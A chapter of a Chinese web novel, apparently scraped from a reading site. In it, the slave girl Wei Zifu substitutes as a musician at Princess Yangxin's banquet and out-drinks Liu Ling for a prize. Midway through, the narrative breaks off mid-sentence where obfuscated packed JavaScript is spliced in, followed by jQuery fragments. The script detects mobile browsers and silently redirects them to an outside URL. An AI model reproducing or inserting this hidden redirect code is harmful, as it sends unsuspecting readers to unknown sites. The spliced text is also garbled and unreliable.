默认冷灰
24号文字
方正启体

12. 对饮

作者:梧宇本书字数:K更新时间:
    “子儿那额头又是被他阿翁打的?”


    卫子夫:“也许吧,我没细问。”


    那就八九不离十了。卫媪叹了口气,骂道:“好吃懒做,天天不是躺在家里挺尸就是骂妻训子,什么东西。”


    谈到这些,卫媪心里就一阵窝火。她和冯子儿的母亲曹燕相识很久了,两家人也是一起从平阳来到长安的。


    冯父从年轻起就惯会偷奸耍滑,非常不得人待见,自受伤残疾,常年靠妻女养家不说,为人还越发暴戾。


    从前卫媪帮着出了两回头,无奈曹燕每次都是哭诉完就又会变回逆来顺受的样子,日久天长,她也就不在管了。


    毕竟自家孩子一大堆,别人家这种愿打愿挨的事儿她又哪里管的过来呢。


    但话是这么说,卫媪的心还是软的,看见好好的女孩子脸上受了伤,就忍不住想帮扶。


    她送给冯子儿的那些东西里除了吃食,还有伤药。


    卫媪平时自己磕了碰了都舍不得用,说不心疼是假的,但一想到孩子都被打破相了,曹燕只会伤的更重,便很难袖手旁观。


    卫子夫大约猜出了母亲的担忧,安慰道:“虽然曹姨的性子软了些,但子儿一向机灵,阿母不用太过忧心。”


    “是啊。”一旁的卫少儿道:“阿母从前帮了曹姨多少次,人家哪次记你的好了?子儿是个好孩子,曹姨却是个扶不起的。”


    话糙理不糙,一边的卫孺扯了扯妹妹,示意她别说了,可少儿并不听。


    “还有那个冯祖,要不是因为他,我阿翁——”


    “好了!”


    卫媪厉声打断了次女的话,“过去的事就不要提了。”说完,她起身出了门。


    只剩姐妹三人围坐在一起,卫孺抱怨:“你看你,非要惹得阿母不痛快。”


    “哼!”少儿冷笑,“我要是不说,阿母就又该心软了。”


    卫孺无言以对,其实她也不喜欢冯祖。


    当年在平阳,冯卫两家是邻居,两个男主人的关系也算不错,卫父还让几个儿女叫冯祖叔父。


    冯祖为人浪荡,一直以来都不招人得意,只有老实的卫父不介怀。可万万没想到,这人不仅在侯府的奴隶间讨嫌,在府外也同样惹祸。


    他招惹了一群地痞流氓,这群人找冯祖寻仇时牵连了无辜的卫父,最终冯祖断了一只脚,卫父也因此受了内伤,转年就因一场风寒送了命。


    那时卫少儿的年纪还小,本不清楚这些,还是后来偷听大兄和大姊谈话才意外得知的。


    至于连父亲的面都没见过的卫子夫就更不知道了。


    卫媪觉得父母辈的事儿扯不到孩子身上,丈夫犯的错也犯不上迁怒妻子,所以从来不提。


    加之子夫和冯子儿年纪相仿,常玩在一起,怕伤害了两个女孩儿的感情,卫长子他们就没有把这些事告诉妹妹,更何况,这冯卫两家的事儿,与真正的子夫有关,但同罗敷却没什么相干。


    可这么多年过去了,卫子夫也不傻,早就通过兄姊们的零星言语猜出了大概。


    如今听二姊再度提起,她说不上是什么心情,有对冯祖的怨怼,对从未谋面的父亲的想象,还有对冯家母女的同情。


    总之很复杂,但唯独忘了怜惜一下自幼失怙的自己。


    此事多说无益,她擦了把脸就去休息了。


    第二日清晨,穿戴整齐的卫子夫正准备去采桑,侯府的女奴最近都在忙这个,歌舞女也不例外,只要无事就都得去。


    不曾想,刚出家门就遇见了双眼红肿的冯子儿。


    “你这是……”


    “别问了。”子儿扁了扁嘴,“子夫,你能帮我去弹琴吗,我替你采桑。”


    “行是行,但采桑要比弹琴累多了。”


    “那也没办法啊。”


    冯子儿指了指自己的眼睛,“我这样子,去也是给咱们侯府丢人的。”


    卫子夫无奈一笑,“好吧。”


    二人就这么换了差事,当殷乐师看见她的时候,还有点吃惊,“你今天不是该去采桑?”


    “子儿身体不太舒服,找我换了换。”


    乐师感到有些好笑,“你们两个真是,生病都要前后脚。”


    卫子夫没作声,很乖顺的模样。


    乐师心里盘算,今日的宴会是公主为招待远道而来的翁主设的家宴,宴会上都是女眷,无需盛大,一切以精致为主。


    且宴上的曲目也大多是郑、卫小调,没什么难的,卫子夫招架得住。这么一想,她便同意了学生的请求。


    卫子夫笑着谢过师傅,又在对方的催促下换上了女乐的妆容衣裳,之后就随着众人一起等待公主的传唤。


    她们没等多久,传唤的人就来了,女乐们立即躬身垂首,列次入了正堂。


    堂屋内烛火通明,衣香鬓影。卫子夫被安排在队伍中间,她抱着琴缓步走到演奏的位置,趁着放琴的时候,不着痕迹地扫视了一圈儿,把宾客们的脸尽收眼底。


    很好,都认识。


    各位脸熟的贵妇人就不多说了,真正重要的人就只有三位,主位上阳信公主右手边的南宫、隆虑二公主,以及左手边的刘陵。


    当目光触及刘陵的脸庞时,她的形象就在卫子夫的心中活了起来。


    刘陵是很美的,她有着明艳的面容,机敏的才智,以及深藏精明算计的眉眼。


    但这些都不算什么,她最让人难忘的,还是那颗宁愿粉身碎骨也要扶摇而上的野心,在这一点上,她强过这世上很多人。


    就连卫子夫也不得不佩服,因为比起对方,她还是太留恋安稳,当然,这得是在未入绝境的情况下。


    丝竹声响起了,阳信公主与众宾客伴着清幽的音律闲谈,共享珍馐佳酿。


    “妹妹以前觉得淮南王宫中的美酒和美人就已经很好了,如今来到堂姊府上才知何为美恶。”


    刘陵笑着把玉卮中的酒饮尽,眼波流转间打量起了正在献艺的歌舞女们。


    冷不防被吹捧了一通的阳信笑道:“你这话倒叫我惭愧了,区区侯府又哪里能比得上王宫呢。”


    “好了,大姊,你我姊妹这么外道做什么,我是真喜欢你这儿,还想求你留我住几天呢。”


    她既这么说了,阳信自然不会拒绝,一旁的隆虑公主也道:“陵妹好多年没来长安了,我记的幼时她入宫也爱跟着大姊。”


    “是啊。”南宫公主回忆起幼年的光景,很是怀念:“那时说笑玩闹的,转眼间就只剩下陵妹尚未婚配了。”


    两位公主你一言我一语,把话题引到了堂妹的婚事上,刘陵实在招架不住,忙赔笑道:“两位阿姊就别操心了,小妹现在只想玩乐还不想成婚呢。”


    她伸手指了指案上的玉卮,身后侍奉的婢女就上前为她把酒满上。


    刘陵举杯,“诸位,咱们不醉不归。”


    “是。”


    众夫人回敬,三位公主也各饮了一杯。


    刘陵是爱热闹的人,在封地时就常参加和举行大小宴会,她的酒量也很好,从来没有醉倒过。


    在座的贵妇人酒量好的也不在少数,却没有能比得上刘陵的,况且这是公主私宴,她们被请来凑个热闹,贪杯有失礼数。


    故而刘陵还未尽兴,南宫、隆虑就离席去偏室休息了,皇室三姊妹只剩一个阳信公主还在,作为主人,她是不能抛下宾客们去躲清闲的。


    酒过三巡,她也渐渐喝不动了,告饶道:“陵妹当真海量,我是不得不认输了。”


    “哈哈。”刘陵大笑两声,“小妹总算是有一样能比得过阿姊你的了。”


    阳信笑笑没有说话。


    抬眼望去,贵妇们也都捂着微红的双颊,表示自己已不胜杯杓。刘陵暗自撇了撇嘴,觉得没趣。


    舞姬们跳完舞就退场了,环顾一周,只剩讴者尚未离去,刘陵扬声问:“你们当中有善于饮酒的吗?”


    女乐们面面相觑,不敢应答,还是乐师上前一步


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374043|168257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开口道:“回翁主,奴婢等身份低微,不敢以卑犯尊,坏了规矩。”


    “哪有那么多规矩啊。”刘陵朝主位的阳信一笑,“您说呢,阿姊。”


    “当然。”


    那就是不介意了。


    明确了这一点,刘陵也就放开了,她看着这群美丽的女子,说:“扭扭捏捏的,这样吧,谁要能把本翁主灌醉,我就赏她五金,如何?”


    面对钱财的诱惑,不少歌女都心动了,但大多都踌躇不前,不敢当这个出头鸟。


    正当众人还在犹豫的时刻,卫子夫出声了,“翁主,奴婢善于饮酒。”


    乐师心中一跳,却也不敢回头看,只能听着自己的徒儿认真地说:“奴婢可以。”


    刘陵很满意,“好,那就让我见见你的本事。”


    “是。”


    卫子夫走上前,步履沉稳仪态端庄,在给两位主人依次行过礼后就缓缓跪伏了下去,整套动作如行云流水,让人一见便心情顺畅。


    刘陵也不例外,她对阳信公主夸赞道:“一个小歌女都出落的如此娴静得体,还是阿姊御下有方。”


    “陵妹过誉了。”


    公主应答了一句,又仔细端详起了卫子夫,怎么几天未留意竟就大变样了?


    她给立在她身侧的女婢使了个眼色,女婢会意,低头退了下去。


    不多时,一个一尺高、盛满酒水的玉杯就递到了卫子夫的面前。


    上首的公主说话了,“陵妹已饮了不少,这小歌女却滴酒未沾,未免太不公平。”


    “还是阿姊公允,考虑的周全。”刘陵态度亲呢。


    卫子夫也没什么好说的,干脆利落的把玉杯中的酒一饮而尽。她喝的豪爽,像喝水一样,眉头都没有皱一下。


    此刻,刘陵才真正来了点兴致。她把卫子夫招到面前,吩咐婢女把酒满上。


    “来吧。”说完,她就率先饮尽了一盏。


    卫子夫低眉顺眼的跟了一盏,“谢翁主赏。”


    这人是怎么做到既胆大又温驯的?


    刘陵的兴致更高了,于是那些贵妇人在今日见了个奇景,堂堂翁主竟和一个女奴推杯换盏,真是闻所未闻。


    再看坐在主位上的公主的脸上也没有任何介怀的神色,反而饶有兴趣地看着她们,似是在好奇这场比拼的胜负结果如何。


    一盏、十盏、二十盏……


    到最后,已经没人记得她们俩喝了多少了,对面的刘陵已然喝上了头,卫子夫也没强哪儿去,不过她是想得到赏金而非争一个高下,于是掐准时机就开始装醉。


    “诶?本翁主赢了!”刘陵捧着通红的脸,痴痴地笑了两声。


    她踉跄着站了起来,对阳信公主道:“阿姊,我的头有点疼……”


    公主扶额,吩咐下人道:“还不快扶翁主去休息。”


    就这么走了?那可不行,装晕的卫子夫还在思索对策,公主就先一步“发难”了。


    “这小歌女到底轻狂了些,如此浅薄的酒量也敢吹嘘,实在没有自知之明。”


    刘陵晕晕乎乎的,“也不错了,我可不是谁都能比得过的。”


    她弯腰看了眼卫子夫,又看了看身旁的婢女,“我之前说赏几金来着。”


    “回翁主,是五金。”


    “哦,对,我想起来了。”刘陵胡乱点了点头,“那就给她吧。”


    听到这句话,卫子夫总算是放心了。


    乐师扶着她替她接了金子,公主又额外赏了女乐们每人一贯钱,就叫她们退下了。


    刘陵这个主角走了,宴饮也就到了尾声,阳信公主先向来宾致谢,贵妇人们回谢后便陆陆续续离开了。


    到最后,只剩下一个管事的大奴留在这儿指挥着一群奴婢收拾残局。


    有个负责清点器皿的女奴问管事:“那个歌女用过的酒具怎么处理啊?”


    管事眉头一紧,嫌恶道:“这有什么好问的,一个奴婢用过的,扔了干净。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)